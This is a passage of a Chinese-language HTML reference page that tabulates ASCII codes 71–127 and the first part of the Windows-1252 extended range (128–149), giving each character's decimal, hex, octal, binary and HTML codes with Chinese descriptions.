					<td style="text-align: center">拉丁大写字母 G</td>
			</tr>
			<tr>
					<td style="text-align: center">72</td>
					<td style="text-align: center">48</td>
					<td style="text-align: center">110</td>
					<td style="text-align: center">01001000</td>
					<td style="text-align: center"><strong>H</strong></td>
					<td style="text-align: center"><code>&amp;#72;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 H</td>
			</tr>
			<tr>
					<td style="text-align: center">73</td>
					<td style="text-align: center">49</td>
					<td style="text-align: center">111</td>
					<td style="text-align: center">01001001</td>
					<td style="text-align: center"><strong>I</strong></td>
					<td style="text-align: center"><code>&amp;#73;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 I</td>
			</tr>
			<tr>
					<td style="text-align: center">74</td>
					<td style="text-align: center">4A</td>
					<td style="text-align: center">112</td>
					<td style="text-align: center">01001010</td>
					<td style="text-align: center"><strong>J</strong></td>
					<td style="text-align: center"><code>&amp;#74;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 J</td>
			</tr>
			<tr>
					<td style="text-align: center">75</td>
					<td style="text-align: center">4B</td>
					<td style="text-align: center">113</td>
					<td style="text-align: center">01001011</td>
					<td style="text-align: center"><strong>K</strong></td>
					<td style="text-align: center"><code>&amp;#75;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 K</td>
			</tr>
			<tr>
					<td style="text-align: center">76</td>
					<td style="text-align: center">4C</td>
					<td style="text-align: center">114</td>
					<td style="text-align: center">01001100</td>
					<td style="text-align: center"><strong>L</strong></td>
					<td style="text-align: center"><code>&amp;#76;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 L</td>
			</tr>
			<tr>
					<td style="text-align: center">77</td>
					<td style="text-align: center">4D</td>
					<td style="text-align: center">115</td>
					<td style="text-align: center">01001101</td>
					<td style="text-align: center"><strong>M</strong></td>
					<td style="text-align: center"><code>&amp;#77;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 M</td>
			</tr>
			<tr>
					<td style="text-align: center">78</td>
					<td style="text-align: center">4E</td>
					<td style="text-align: center">116</td>
					<td style="text-align: center">01001110</td>
					<td style="text-align: center"><strong>N</strong></td>
					<td style="text-align: center"><code>&amp;#78;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 N</td>
			</tr>
			<tr>
					<td style="text-align: center">79</td>
					<td style="text-align: center">4F</td>
					<td style="text-align: center">117</td>
					<td style="text-align: center">01001111</td>
					<td style="text-align: center"><strong>O</strong></td>
					<td style="text-align: center"><code>&amp;#79;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">80</td>
					<td style="text-align: center">50</td>
					<td style="text-align: center">120</td>
					<td style="text-align: center">01010000</td>
					<td style="text-align: center"><strong>P</strong></td>
					<td style="text-align: center"><code>&amp;#80;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 P</td>
			</tr>
			<tr>
					<td style="text-align: center">81</td>
					<td style="text-align: center">51</td>
					<td style="text-align: center">121</td>
					<td style="text-align: center">01010001</td>
					<td style="text-align: center"><strong>Q</strong></td>
					<td style="text-align: center"><code>&amp;#81;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 Q</td>
			</tr>
			<tr>
					<td style="text-align: center">82</td>
					<td style="text-align: center">52</td>
					<td style="text-align: center">122</td>
					<td style="text-align: center">01010010</td>
					<td style="text-align: center"><strong>R</strong></td>
					<td style="text-align: center"><code>&amp;#82;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 R</td>
			</tr>
			<tr>
					<td style="text-align: center">83</td>
					<td style="text-align: center">53</td>
					<td style="text-align: center">123</td>
					<td style="text-align: center">01010011</td>
					<td style="text-align: center"><strong>S</strong></td>
					<td style="text-align: center"><code>&amp;#83;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 S</td>
			</tr>
			<tr>
					<td style="text-align: center">84</td>
					<td style="text-align: center">54</td>
					<td style="text-align: center">124</td>
					<td style="text-align: center">01010100</td>
					<td style="text-align: center"><strong>T</strong></td>
					<td style="text-align: center"><code>&amp;#84;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 T</td>
			</tr>
			<tr>
					<td style="text-align: center">85</td>
					<td style="text-align: center">55</td>
					<td style="text-align: center">125</td>
					<td style="text-align: center">01010101</td>
					<td style="text-align: center"><strong>U</strong></td>
					<td style="text-align: center"><code>&amp;#85;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">86</td>
					<td style="text-align: center">56</td>
					<td style="text-align: center">126</td>
					<td style="text-align: center">01010110</td>
					<td style="text-align: center"><strong>V</strong></td>
					<td style="text-align: center"><code>&amp;#86;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁字母大写 V</td>
			</tr>
			<tr>
					<td style="text-align: center">87</td>
					<td style="text-align: center">57</td>
					<td style="text-align: center">127</td>
					<td style="text-align: center">01010111</td>
					<td style="text-align: center"><strong>W</strong></td>
					<td style="text-align: center"><code>&amp;#87;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁字母大写 W</td>
			</tr>
			<tr>
					<td style="text-align: center">88</td>
					<td style="text-align: center">58</td>
					<td style="text-align: center">130</td>
					<td style="text-align: center">01011000</td>
					<td style="text-align: center"><strong>X</strong></td>
					<td style="text-align: center"><code>&amp;#88;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁字母大写 X</td>
			</tr>
			<tr>
					<td style="text-align: center">89</td>
					<td style="text-align: center">59</td>
					<td style="text-align: center">131</td>
					<td style="text-align: center">01011001</td>
					<td style="text-align: center"><strong>Y</strong></td>
					<td style="text-align: center"><code>&amp;#89;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁字母大写 Y</td>
			</tr>
			<tr>
					<td style="text-align: center">90</td>
					<td style="text-align: center">5A</td>
					<td style="text-align: center">132</td>
					<td style="text-align: center">01011010</td>
					<td style="text-align: center"><strong>Z</strong></td>
					<td style="text-align: center"><code>&amp;#90;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁字母大写 Z</td>
			</tr>
			<tr>
					<td style="text-align: center">91</td>
					<td style="text-align: center">5B</td>
					<td style="text-align: center">133</td>
					<td style="text-align: center">01011011</td>
					<td style="text-align: center"><strong>[</strong></td>
					<td style="text-align: center"><code>&amp;#91;</code></td>
					<td style="text-align: center"><code>&amp;lsqb;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">左方括号</td>
			</tr>
			<tr>
					<td style="text-align: center">92</td>
					<td style="text-align: center">5C</td>
					<td style="text-align: center">134</td>
					<td style="text-align: center">01011100</td>
					<td style="text-align: center"><strong>\</strong></td>
					<td style="text-align: center"><code>&amp;#92;</code></td>
					<td style="text-align: center"><code>&amp;bsol;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">反斜杠</td>
			</tr>
			<tr>
					<td style="text-align: center">93</td>
					<td style="text-align: center">5D</td>
					<td style="text-align: center">135</td>
					<td style="text-align: center">01011101</td>
					<td style="text-align: center"><strong>]</strong></td>
					<td style="text-align: center"><code>&amp;#93;</code></td>
					<td style="text-align: center"><code>&amp;rsqb;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">右方括号</td>
			</tr>
			<tr>
					<td style="text-align: center">94</td>
					<td style="text-align: center">5E</td>
					<td style="text-align: center">136</td>
					<td style="text-align: center">01011110</td>
					<td style="text-align: center"><strong>^</strong></td>
					<td style="text-align: center"><code>&amp;#94;</code></td>
					<td style="text-align: center"><code>&amp;Hat;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">扬抑符</td>
			</tr>
			<tr>
					<td style="text-align: center">95</td>
					<td style="text-align: center">5F</td>
					<td style="text-align: center">137</td>
					<td style="text-align: center">01011111</td>
					<td style="text-align: center"><strong>_</strong></td>
					<td style="text-align: center"><code>&amp;#95;</code></td>
					<td style="text-align: center"><code>&amp;lowbar;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">下划线</td>
			</tr>
			<tr>
					<td style="text-align: center">96</td>
					<td style="text-align: center">60</td>
					<td style="text-align: center">140</td>
					<td style="text-align: center">01100000</td>
					<td style="text-align: center"><strong>`</strong></td>
					<td style="text-align: center"><code>&amp;#96;</code></td>
					<td style="text-align: center"><code>&amp;grave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">反引号</td>
			</tr>
			<tr>
					<td style="text-align: center">97</td>
					<td style="text-align: center">61</td>
					<td style="text-align: center">141</td>
					<td style="text-align: center">01100001</td>
					<td style="text-align: center"><strong>a</strong></td>
					<td style="text-align: center"><code>&amp;#97;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 a</td>
			</tr>
			<tr>
					<td style="text-align: center">98</td>
					<td style="text-align: center">62</td>
					<td style="text-align: center">142</td>
					<td style="text-align: center">01100010</td>
					<td style="text-align: center"><strong>b</strong></td>
					<td style="text-align: center"><code>&amp;#98;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 b</td>
			</tr>
			<tr>
					<td style="text-align: center">99</td>
					<td style="text-align: center">63</td>
					<td style="text-align: center">143</td>
					<td style="text-align: center">01100011</td>
					<td style="text-align: center"><strong>c</strong></td>
					<td style="text-align: center"><code>&amp;#99;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 c</td>
			</tr>
			<tr>
					<td style="text-align: center">100</td>
					<td style="text-align: center">64</td>
					<td style="text-align: center">144</td>
					<td style="text-align: center">01100100</td>
					<td style="text-align: center"><strong>d</strong></td>
					<td style="text-align: center"><code>&amp;#100;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 d</td>
			</tr>
			<tr>
					<td style="text-align: center">101</td>
					<td style="text-align: center">65</td>
					<td style="text-align: center">145</td>
					<td style="text-align: center">01100101</td>
					<td style="text-align: center"><strong>e</strong></td>
					<td style="text-align: center"><code>&amp;#101;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 e</td>
			</tr>
			<tr>
					<td style="text-align: center">102</td>
					<td style="text-align: center">66</td>
					<td style="text-align: center">146</td>
					<td style="text-align: center">01100110</td>
					<td style="text-align: center"><strong>f</strong></td>
					<td style="text-align: center"><code>&amp;#102;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 f</td>
			</tr>
			<tr>
					<td style="text-align: center">103</td>
					<td style="text-align: center">67</td>
					<td style="text-align: center">147</td>
					<td style="text-align: center">01100111</td>
					<td style="text-align: center"><strong>g</strong></td>
					<td style="text-align: center"><code>&amp;#103;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 g</td>
			</tr>
			<tr>
					<td style="text-align: center">104</td>
					<td style="text-align: center">68</td>
					<td style="text-align: center">150</td>
					<td style="text-align: center">01101000</td>
					<td style="text-align: center"><strong>h</strong></td>
					<td style="text-align: center"><code>&amp;#104;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 h</td>
			</tr>
			<tr>
					<td style="text-align: center">105</td>
					<td style="text-align: center">69</td>
					<td style="text-align: center">151</td>
					<td style="text-align: center">01101001</td>
					<td style="text-align: center"><strong>i</strong></td>
					<td style="text-align: center"><code>&amp;#105;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 i</td>
			</tr>
			<tr>
					<td style="text-align: center">106</td>
					<td style="text-align: center">6A</td>
					<td style="text-align: center">152</td>
					<td style="text-align: center">01101010</td>
					<td style="text-align: center"><strong>j</strong></td>
					<td style="text-align: center"><code>&amp;#106;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 j</td>
			</tr>
			<tr>
					<td style="text-align: center">107</td>
					<td style="text-align: center">6B</td>
					<td style="text-align: center">153</td>
					<td style="text-align: center">01101011</td>
					<td style="text-align: center"><strong>k</strong></td>
					<td style="text-align: center"><code>&amp;#107;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 k</td>
			</tr>
			<tr>
					<td style="text-align: center">108</td>
					<td style="text-align: center">6C</td>
					<td style="text-align: center">154</td>
					<td style="text-align: center">01101100</td>
					<td style="text-align: center"><strong>l</strong></td>
					<td style="text-align: center"><code>&amp;#108;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 l</td>
			</tr>
			<tr>
					<td style="text-align: center">109</td>
					<td style="text-align: center">6D</td>
					<td style="text-align: center">155</td>
					<td style="text-align: center">01101101</td>
					<td style="text-align: center"><strong>m</strong></td>
					<td style="text-align: center"><code>&amp;#109;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 m</td>
			</tr>
			<tr>
					<td style="text-align: center">110</td>
					<td style="text-align: center">6E</td>
					<td style="text-align: center">156</td>
					<td style="text-align: center">01101110</td>
					<td style="text-align: center"><strong>n</strong></td>
					<td style="text-align: center"><code>&amp;#110;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 n</td>
			</tr>
			<tr>
					<td style="text-align: center">111</td>
					<td style="text-align: center">6F</td>
					<td style="text-align: center">157</td>
					<td style="text-align: center">01101111</td>
					<td style="text-align: center"><strong>o</strong></td>
					<td style="text-align: center"><code>&amp;#111;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 o</td>
			</tr>
			<tr>
					<td style="text-align: center">112</td>
					<td style="text-align: center">70</td>
					<td style="text-align: center">160</td>
					<td style="text-align: center">01110000</td>
					<td style="text-align: center"><strong>p</strong></td>
					<td style="text-align: center"><code>&amp;#112;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 p</td>
			</tr>
			<tr>
					<td style="text-align: center">113</td>
					<td style="text-align: center">71</td>
					<td style="text-align: center">161</td>
					<td style="text-align: center">01110001</td>
					<td style="text-align: center"><strong>q</strong></td>
					<td style="text-align: center"><code>&amp;#113;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 q</td>
			</tr>
			<tr>
					<td style="text-align: center">114</td>
					<td style="text-align: center">72</td>
					<td style="text-align: center">162</td>
					<td style="text-align: center">01110010</td>
					<td style="text-align: center"><strong>r</strong></td>
					<td style="text-align: center"><code>&amp;#114;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 r</td>
			</tr>
			<tr>
					<td style="text-align: center">115</td>
					<td style="text-align: center">73</td>
					<td style="text-align: center">163</td>
					<td style="text-align: center">01110011</td>
					<td style="text-align: center"><strong>s</strong></td>
					<td style="text-align: center"><code>&amp;#115;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 s</td>
			</tr>
			<tr>
					<td style="text-align: center">116</td>
					<td style="text-align: center">74</td>
					<td style="text-align: center">164</td>
					<td style="text-align: center">01110100</td>
					<td style="text-align: center"><strong>t</strong></td>
					<td style="text-align: center"><code>&amp;#116;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 t</td>
			</tr>
			<tr>
					<td style="text-align: center">117</td>
					<td style="text-align: center">75</td>
					<td style="text-align: center">165</td>
					<td style="text-align: center">01110101</td>
					<td style="text-align: center"><strong>u</strong></td>
					<td style="text-align: center"><code>&amp;#117;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 u</td>
			</tr>
			<tr>
					<td style="text-align: center">118</td>
					<td style="text-align: center">76</td>
					<td style="text-align: center">166</td>
					<td style="text-align: center">01110110</td>
					<td style="text-align: center"><strong>v</strong></td>
					<td style="text-align: center"><code>&amp;#118;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 v</td>
			</tr>
			<tr>
					<td style="text-align: center">119</td>
					<td style="text-align: center">77</td>
					<td style="text-align: center">167</td>
					<td style="text-align: center">01110111</td>
					<td style="text-align: center"><strong>w</strong></td>
					<td style="text-align: center"><code>&amp;#119;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 w</td>
			</tr>
			<tr>
					<td style="text-align: center">120</td>
					<td style="text-align: center">78</td>
					<td style="text-align: center">170</td>
					<td style="text-align: center">01111000</td>
					<td style="text-align: center"><strong>x</strong></td>
					<td style="text-align: center"><code>&amp;#120;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 x</td>
			</tr>
			<tr>
					<td style="text-align: center">121</td>
					<td style="text-align: center">79</td>
					<td style="text-align: center">171</td>
					<td style="text-align: center">01111001</td>
					<td style="text-align: center"><strong>y</strong></td>
					<td style="text-align: center"><code>&amp;#121;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 y</td>
			</tr>
			<tr>
					<td style="text-align: center">122</td>
					<td style="text-align: center">7A</td>
					<td style="text-align: center">172</td>
					<td style="text-align: center">01111010</td>
					<td style="text-align: center"><strong>z</strong></td>
					<td style="text-align: center"><code>&amp;#122;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 z</td>
			</tr>
			<tr>
					<td style="text-align: center">123</td>
					<td style="text-align: center">7B</td>
					<td style="text-align: center">173</td>
					<td style="text-align: center">01111011</td>
					<td style="text-align: center"><strong>{</strong></td>
					<td style="text-align: center"><code>&amp;#123;</code></td>
					<td style="text-align: center"><code>&amp;lcub;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">左花括号</td>
			</tr>
			<tr>
					<td style="text-align: center">124</td>
					<td style="text-align: center">7C</td>
					<td style="text-align: center">174</td>
					<td style="text-align: center">01111100</td>
					<td style="text-align: center"><strong>|</strong></td>
					<td style="text-align: center"><code>&amp;#124;</code></td>
					<td style="text-align: center"><code>&amp;verbar;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">竖线</td>
			</tr>
			<tr>
					<td style="text-align: center">125</td>
					<td style="text-align: center">7D</td>
					<td style="text-align: center">175</td>
					<td style="text-align: center">01111101</td>
					<td style="text-align: center"><strong>}</strong></td>
					<td style="text-align: center"><code>&amp;#125;</code></td>
					<td style="text-align: center"><code>&amp;rcub;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">右花括号</td>
			</tr>
			<tr>
					<td style="text-align: center">126</td>
					<td style="text-align: center">7E</td>
					<td style="text-align: center">176</td>
					<td style="text-align: center">01111110</td>
					<td style="text-align: center"><strong>~</strong></td>
					<td style="text-align: center"><code>&amp;#126;</code></td>
					<td style="text-align: center"><code>&amp;tilde;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">波浪号</td>
			</tr>
			<tr>
					<td style="text-align: center">127</td>
					<td style="text-align: center">7F</td>
					<td style="text-align: center">177</td>
					<td style="text-align: center">01111111</td>
					<td style="text-align: center"><em><strong>DEL</strong></em></td>
					<td style="text-align: center"><code>&amp;#127;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">^?</td>
					<td style="text-align: center">删除</td>
			</tr>
	</tbody>
</table>
<h2 id="扩展-ascii128-255详细视图">扩展 ASCII（128-255）——详细视图<a class="anchor" href="#扩展-ascii128-255详细视图">#</a></h2>
<p><strong>Windows-1252 字符：</strong> 附加符号、带重音的字母及特殊字符</p>
<table>
	<thead>
			<tr>
					<th style="text-align: center">十进制</th>
					<th style="text-align: center">十六进制</th>
					<th style="text-align: center">八进制</th>
					<th style="text-align: center">二进制</th>
					<th style="text-align: center">字符</th>
					<th style="text-align: center">HTML 代码</th>
					<th style="text-align: center">HTML 实体</th>
					<th style="text-align: center">Ctrl快捷键</th>
					<th style="text-align: center">含义</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: center">128</td>
					<td style="text-align: center">80</td>
					<td style="text-align: center">200</td>
					<td style="text-align: center">10000000</td>
					<td style="text-align: center"><strong>€</strong></td>
					<td style="text-align: center"><code>&amp;#128;</code></td>
					<td style="text-align: center"><code>&amp;euro;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">欧元符号</td>
			</tr>
			<tr>
					<td style="text-align: center">129</td>
					<td style="text-align: center">81</td>
					<td style="text-align: center">201</td>
					<td style="text-align: center">10000001</td>
					<td style="text-align: center"><em><strong>unused</strong></em></td>
					<td style="text-align: center"><code>&amp;#129;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">Windows-1252 中未使用的位置</td>
			</tr>
			<tr>
					<td style="text-align: center">130</td>
					<td style="text-align: center">82</td>
					<td style="text-align: center">202</td>
					<td style="text-align: center">10000010</td>
					<td style="text-align: center"><strong>‚</strong></td>
					<td style="text-align: center"><code>&amp;#130;</code></td>
					<td style="text-align: center"><code>&amp;sbquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">单个低位 9 号引号</td>
			</tr>
			<tr>
					<td style="text-align: center">131</td>
					<td style="text-align: center">83</td>
					<td style="text-align: center">203</td>
					<td style="text-align: center">10000011</td>
					<td style="text-align: center"><strong>ƒ</strong></td>
					<td style="text-align: center"><code>&amp;#131;</code></td>
					<td style="text-align: center"><code>&amp;fnof;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带钩的小写拉丁字母 f</td>
			</tr>
			<tr>
					<td style="text-align: center">132</td>
					<td style="text-align: center">84</td>
					<td style="text-align: center">204</td>
					<td style="text-align: center">10000100</td>
					<td style="text-align: center"><strong>„</strong></td>
					<td style="text-align: center"><code>&amp;#132;</code></td>
					<td style="text-align: center"><code>&amp;bdquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">双低位 9 号引号</td>
			</tr>
			<tr>
					<td style="text-align: center">133</td>
					<td style="text-align: center">85</td>
					<td style="text-align: center">205</td>
					<td style="text-align: center">10000101</td>
					<td style="text-align: center"><strong>…</strong></td>
					<td style="text-align: center"><code>&amp;#133;</code></td>
					<td style="text-align: center"><code>&amp;hellip;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">水平省略号</td>
			</tr>
			<tr>
					<td style="text-align: center">134</td>
					<td style="text-align: center">86</td>
					<td style="text-align: center">206</td>
					<td style="text-align: center">10000110</td>
					<td style="text-align: center"><strong>†</strong></td>
					<td style="text-align: center"><code>&amp;#134;</code></td>
					<td style="text-align: center"><code>&amp;dagger;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">匕首</td>
			</tr>
			<tr>
					<td style="text-align: center">135</td>
					<td style="text-align: center">87</td>
					<td style="text-align: center">207</td>
					<td style="text-align: center">10000111</td>
					<td style="text-align: center"><strong>‡</strong></td>
					<td style="text-align: center"><code>&amp;#135;</code></td>
					<td style="text-align: center"><code>&amp;Dagger;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">双匕首</td>
			</tr>
			<tr>
					<td style="text-align: center">136</td>
					<td style="text-align: center">88</td>
					<td style="text-align: center">210</td>
					<td style="text-align: center">10001000</td>
					<td style="text-align: center"><strong>ˆ</strong></td>
					<td style="text-align: center"><code>&amp;#136;</code></td>
					<td style="text-align: center"><code>&amp;circ;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">修饰字母扬抑符</td>
			</tr>
			<tr>
					<td style="text-align: center">137</td>
					<td style="text-align: center">89</td>
					<td style="text-align: center">211</td>
					<td style="text-align: center">10001001</td>
					<td style="text-align: center"><strong>‰</strong></td>
					<td style="text-align: center"><code>&amp;#137;</code></td>
					<td style="text-align: center"><code>&amp;permil;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">千分之符号</td>
			</tr>
			<tr>
					<td style="text-align: center">138</td>
					<td style="text-align: center">8A</td>
					<td style="text-align: center">212</td>
					<td style="text-align: center">10001010</td>
					<td style="text-align: center"><strong>Š</strong></td>
					<td style="text-align: center"><code>&amp;#138;</code></td>
					<td style="text-align: center"><code>&amp;Scaron;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带卡龙音符的大写拉丁字母 S</td>
			</tr>
			<tr>
					<td style="text-align: center">139</td>
					<td style="text-align: center">8B</td>
					<td style="text-align: center">213</td>
					<td style="text-align: center">10001011</td>
					<td style="text-align: center"><strong>‹</strong></td>
					<td style="text-align: center"><code>&amp;#139;</code></td>
					<td style="text-align: center"><code>&amp;lsaquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">单个左尖角引号</td>
			</tr>
			<tr>
					<td style="text-align: center">140</td>
					<td style="text-align: center">8C</td>
					<td style="text-align: center">214</td>
					<td style="text-align: center">10001100</td>
					<td style="text-align: center"><strong>Œ</strong></td>
					<td style="text-align: center"><code>&amp;#140;</code></td>
					<td style="text-align: center"><code>&amp;OElig;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写连字 OE</td>
			</tr>
			<tr>
					<td style="text-align: center">141</td>
					<td style="text-align: center">8D</td>
					<td style="text-align: center">215</td>
					<td style="text-align: center">10001101</td>
					<td style="text-align: center"><em><strong>unused</strong></em></td>
					<td style="text-align: center"><code>&amp;#141;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">Windows-1252 中未使用的位置</td>
			</tr>
			<tr>
					<td style="text-align: center">142</td>
					<td style="text-align: center">8E</td>
					<td style="text-align: center">216</td>
					<td style="text-align: center">10001110</td>
					<td style="text-align: center"><strong>Ž</strong></td>
					<td style="text-align: center"><code>&amp;#142;</code></td>
					<td style="text-align: center"><code>&amp;Zcaron;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带卡龙音符的大写拉丁字母 Z</td>
			</tr>
			<tr>
					<td style="text-align: center">143</td>
					<td style="text-align: center">8F</td>
					<td style="text-align: center">217</td>
					<td style="text-align: center">10001111</td>
					<td style="text-align: center"><em><strong>unused</strong></em></td>
					<td style="text-align: center"><code>&amp;#143;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">Windows-1252 中未使用的码位</td>
			</tr>
			<tr>
					<td style="text-align: center">144</td>
					<td style="text-align: center">90</td>
					<td style="text-align: center">220</td>
					<td style="text-align: center">10010000</td>
					<td style="text-align: center"><em><strong>unused</strong></em></td>
					<td style="text-align: center"><code>&amp;#144;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">Windows-1252 中未使用的码位</td>
			</tr>
			<tr>
					<td style="text-align: center">145</td>
					<td style="text-align: center">91</td>
					<td style="text-align: center">221</td>
					<td style="text-align: center">10010001</td>
					<td style="text-align: center"><strong>‘</strong></td>
					<td style="text-align: center"><code>&amp;#145;</code></td>
					<td style="text-align: center"><code>&amp;lsquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">左单引号</td>
			</tr>
			<tr>
					<td style="text-align: center">146</td>
					<td style="text-align: center">92</td>
					<td style="text-align: center">222</td>
					<td style="text-align: center">10010010</td>
					<td style="text-align: center"><strong>’</strong></td>
					<td style="text-align: center"><code>&amp;#146;</code></td>
					<td style="text-align: center"><code>&amp;rsquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">右单引号</td>
			</tr>
			<tr>
					<td style="text-align: center">147</td>
					<td style="text-align: center">93</td>
					<td style="text-align: center">223</td>
					<td style="text-align: center">10010011</td>
					<td style="text-align: center"><strong>“</strong></td>
					<td style="text-align: center"><code>&amp;#147;</code></td>
					<td style="text-align: center"><code>&amp;ldquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">左双引号</td>
			</tr>
			<tr>
					<td style="text-align: center">148</td>
					<td style="text-align: center">94</td>
					<td style="text-align: center">224</td>
					<td style="text-align: center">10010100</td>
					<td style="text-align: center"><strong>”</strong></td>
					<td style="text-align: center"><code>&amp;#148;</code></td>
					<td style="text-align: center"><code>&amp;rdquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">右双引号</td>
			</tr>
			<tr>
					<td style="text-align: center">149</td>
					<td style="text-align: center">95</td>
					<td style="text-align: center">225</td>
					<td style="text-align: center">10010101</td>
					<td style="text-align: center"><strong>•</strong></td>
					<td style="text-align: center"><code>&amp;#149;</code></td>
					<td style="text-align: center"><code>&amp;bull;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">项目符号</td>
